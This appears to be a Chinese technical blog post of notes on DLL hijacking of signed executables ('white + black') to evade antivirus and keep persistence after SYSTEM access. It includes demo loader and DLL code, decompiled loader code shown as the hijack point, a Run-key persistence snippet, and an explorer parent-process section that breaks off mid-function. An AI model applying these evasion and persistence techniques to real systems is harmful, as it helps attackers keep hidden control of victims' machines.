网络安全免杀DLL劫持白文件笔记

DLL 劫持白文件利用方式(一)

前言

最近发现针对某些目标,添加启动项,计划任务等比较明显的方式效果并不是很好,所以针对 DLL 劫持从而达到权限的维持的技术进行了一番学习,希望能与读者们一起分享学习过程,然后一起探讨关于 DLL 更多利用姿势。

背景

原理在第一篇已经讲了,下面说说与第一篇的不同之处,这一篇的技术背景是,我们已经获取到 system 权限的情况下,然后需要对目标进行持续性的控制,所以需要对权限进行维护,我们的目标是针对一些主流的软件 or 系统内置会加载的小 DLL 进行转发式劫持(也可以理解为中间人劫持),这种劫持的好处就是即使目标不存在 DLL 劫持漏洞也没关系,我们可以采取直接替换掉原来的 DLL 文件的方式,效果就是,程序依然可以正常加载原来 DLL 文件的功能,但是同时也会执行我们自定义的恶意操作。

劫持的优势

在很久以前,“白 + 黑” 这种免杀方式很火,DLL 劫持的优势其实就是如此。

是不是很懵?先理解下什么是 “白”+“黑”

白加黑木马的结构
1.Exe(白) —-load—-> dll(黑)
2.Exe(白) —-load—-> dll(黑)—-load—-> 恶意代码

白 EXE 主要是指那些带有签名的程序(杀毒软件对于这种软件,特别是 window 签名的程序,无论什么行为都不会阻止的,至于为什么?emmm,原因很多,查杀复杂,定位 DLL 困难,而且最终在内存执行的行为都归于 exe(如果能在众多加载的 DLL 中准确定位到模块,那就是 AI 分析大师。),所以比较好用的基于特征码去查杀,针对如今混淆就像切菜一样简单的时代来说,蛮不够看的,PS. 或许 360 等杀毒有新的方式去检测,emmm,不过我实践发现,基于这个原理过主动防御没啥问题…emmm)

DLL 劫持白文件利用方式(二

劫持方式

为了能够更好地学习,下面方式决定通过写一个 demo 的程序进行测试。

打开 vs2017,新建一个控制台应用程序:

代码如下:

#include <iostream>
#include <Windows.h>
using namespace std;

int main()
{
    // 定义一个函数类DLLFUNC
    typedef void(*DLLFUNC)(void);
    DLLFUNC GetDllfunc1 = NULL;
    DLLFUNC GetDllfunc2 = NULL;
    // 指定动态加载dll库
    HINSTANCE hinst = LoadLibrary(L"TestDll.dll");
    if (hinst!= NULL) {
        // 获取函数位置
        GetDllfunc1 = (DLLFUNC)GetProcAddress(hinst, "msg");
        GetDllfunc2 = (DLLFUNC)GetProcAddress(hinst, "error");
    }
    if (GetDllfunc1!= NULL) {
        //运行msg函数
        (*GetDllfunc1)();
    }
    else {
        MessageBox(0, L"Load msg function Error,Exit!", 0, 0);
        exit(0);
    }
    if (GetDllfunc2!= NULL) {
        //运行error函数
        (*GetDllfunc2)();
    }
    else {
        MessageBox(0, L"Load error function Error,Exit!", 0, 0);
        exit(0);
    }
    printf("Success");
}

程序如果缺乏指定 DLL 的导出函数,那么将会失败。

原生正常 DLL 的代码如下:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>

void msg() {
    MessageBox(0, L"I am msg function!", 0, 0);
}

void error() {
    MessageBox(0, L" I am error function!", 0, 0);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

framework.h 导出函数如下:

#pragma once

#define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>

extern "C" __declspec(dllexport) void msg(void);
extern "C" __declspec(dllexport) void error(void);

 extern 表示这是个全局函数,可以供其他函数调用,“C” 表示按照 C 编译器的方式编译
__declspec (dllexport) 这个导出语句可以自动生成 .def((符号表)),这个很关键
如果你没导出,这样调用的程序是没办法调用的(其实也可以尝试从执行过程来分析,可能麻烦点)
建议直接看官方文档:
https://docs.microsoft.com/zh-cn/cpp/build/exporting-from-a-dll?view=msvc-160
正常完整执行的话,最终程序会输出 Success。

通过逆向白文件实现黑方法持久化(三) 

漏洞位置1:
signed int __stdcall sub_30001573(int a1, int a2, int a3, int a4)
{
  HMODULE v4; // edi@1
  FARPROC v5; // ebx@2
  FARPROC v6; // eax@2
  signed int result; // eax@5

  v4 = LoadLibraryW(L"wwlib.dll");
  if ( v4 || (v4 = sub_30001968((int)L"{0638C49D-BB8B-4CD1-B191-051E8F325736}"))!= 0 )
  {
    v5 = GetProcAddress(v4, "FMain");
    dword_30003010 = (int)GetProcAddress(v4, "wdCommandDispatch");
    v6 = GetProcAddress(v4, "wdGetApplicationObject");
    dword_3000300C = (int)v6;
    if ( v5 && dword_30003010 && v6 )
    {
      ((void (__stdcall *)(int, int, int, int))v5)(a1, a2, a3, a4);
      FreeLibrary(v4);
      result = 0;
    }
    else
    {
      result = 1;
    }
  }
  else
  {
    GetLastError();
    result = 1;
  }
  return result;
}
漏洞位置2:
HMODULE __stdcall sub_30001968(int a1)
{
  HMODULE v1; // esi@1
  UINT v2; // eax@1
  unsigned int v4; // eax@3
  int v5; // eax@14
  FARPROC v6; // [sp+8h] [bp-478h]@7
  FARPROC v7; // [sp+Ch] [bp-474h]@7
  int v8; // [sp+10h] [bp-470h]@15
  HMODULE hModule; // [sp+14h] [bp-46Ch]@5
  WCHAR LibFileName; // [sp+18h] [bp-468h]@1
  WCHAR Buffer; // [sp+220h] [bp-260h]@1
  __int16 v12[261]; // [sp+222h] [bp-25Eh]@4
  char v13; // [sp+42Ch] [bp-54h]@14

  v1 = 0;
  LibFileName = 0;
  v2 = GetSystemDirectoryW(&Buffer, 0x105u);
  if (!v2)
    return 0;
  v4 = 2 * v2;
  if (*(WCHAR *)((char *)&Buffer + v4)!= 92)
  {
    *(WCHAR *)((char *)&Buffer + v4) = 92;
    v12[v4 / 2] = 0;
  }
  sub_300018D4(&Buffer, 262, L"msi.dll");
  hModule = LoadLibraryExW(&Buffer, 0, 8u);
  if (!hModule)
  {
    hModule = LoadLibraryW(L"msi.dll");
    if (!hModule)
      return 0;
  }
  v7 = GetProcAddress(hModule, "MsiGetProductCodeW");
  v6 = GetProcAddress(hModule, "MsiProvideQualifiedComponentExW");
  if (!v6)
  {
    FreeLibrary(hModule);
    return 0;
  }
  if (a1)
  {
    if (!v7)
    {
      FreeLibrary(hModule);
      return 0;
    }
    v5 = ((int (__stdcall *)(int, char *))v7)(a1, &v13);
    if (!v5)
    {
      v8 = 260;
      v5 = ((int (__stdcall *)(_DWORD, _DWORD, _DWORD, char *, _DWORD, _DWORD, WCHAR *, int *))v6)(
             L"{24AAE126-0911-478F-A019-07B875EB9996}",
             L"wwlib.dll",
             0,
             &v13,
             0,
             0,
             &LibFileName,
             &v8);
      if (!v5)
        goto LABEL_22;
    }
    if (v5 == 1602)
      goto LABEL_22;
  }
  v8 = 260;
  if (!((int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, WCHAR *, int *))v6)(
          L"{24AAE126-0911-478F-A019-07B875EB9996}",
          L"wwlib.dll",
          0,
          0,
          0,
          0,
          &LibFileName,
          &v8))
LABEL_22:
    v1 = LoadLibraryW(&LibFileName);
  FreeLibrary(hModule);
  return v1;
}
        HKEY hKey;
        //打开启动项Key 
        long lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey);
        if (lRet == ERROR_SUCCESS)
        {
            char pFileName[MAX_PATH] = { 0 };
            //得到程序自身的全路径 
            DWORD dwRet = GetModuleFileName(NULL, pFileName, MAX_PATH);
            //添加一个子Key,并设置值 // 下面的"getip"是应用程序名字(不加后缀.exe)
            lRet = RegSetValueEx(hKey, "Run360", 0, REG_SZ, (BYTE *)pFileName, dwRet);

            //关闭注册表 
            RegCloseKey(hKey);
            if (lRet!= ERROR_SUCCESS)
            {
                //AfxMessageBox("系统参数错误,不能随系统启动");
            }
        }
        MessageBoxA(NULL, "test!!!", NULL, 0);

 通过 0DAY 漏洞实现父进程白文件启动(四)

// Run_Explorer.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <windows.h>
#include <shlwapi.h>
#include <shlobj.h>

#pragma comment(lib, "shlwapi.lib")

// use the shell view for the desktop using the shell windows automation to find the
// desktop web browser and then grabs its view
//
// returns:
//      IShellView, IFolderView and related interfaces

HRESULT GetShellViewForDesktop(REFIID riid, void **ppv)
{
    *ppv = NULL;

    IShellWindows *psw;
    HRESULT hr = CoCreateInstance(CLSID_ShellWindows, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&psw));
    if (SUCCEEDED(hr))
    {
        HWND hwnd;
        IDispatch* pdisp;
        VARIANT vEmpty = {}; // VT_EMPTY
        if (S_OK == psw->FindWindowSW(&vEmpty, &vEmpty, SWC_DESKTOP, (long*)&hwnd, SWFO_NEEDDISPATCH, &pdisp))
        {
            IShellBrowser *psb;
            hr = IUnknown_QueryService(pdisp, SID_STopLevelBrowser, IID_PPV_ARGS(&psb));
            if (SUCCEEDED(hr))
            {
                IShellView *psv;
                hr = psb->QueryActiveShellView(&psv);
                if (SUCCEEDED(hr))
                {
                    hr = psv->QueryInterface(riid, ppv);
                    psv->Release();
                }
                psb->Release();
            }
            pdisp->Release();
        }
        else
        {
            hr = E_FAIL;
        }
        psw->Release();
    }
    return hr;
}

// From a shell view object gets its automation interface and from that gets the shell
// application object that implements IShellDispatch2 and related interfaces.

HRESULT GetShellDispatchFromView(IShellView *psv, REFIID riid, void **ppv)
{
    *ppv = NULL;

    IDispatch *pdispBackground;
    HRESULT hr = psv->GetItemObject(SVGIO_BACKGROUND, IID_PPV_ARGS(&pdispBackground));
    if (SUCCEEDED(hr))
    {
        IShellFolderViewDual *psfvd;
        hr = pdispBackground->QueryInterface(IID_PPV_ARGS(&psfvd));
        if (SUCCEEDED(hr))
        {
            IDispatch *pdisp;
            hr = psfvd->get_Application(&pdisp);
            if (SUCCEEDED(hr))
            {
                hr = pdisp->QueryInterface(riid, ppv);
                pdisp->Release();
            }
            psfvd->Release();
        }
        pdispBackground->Release();

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值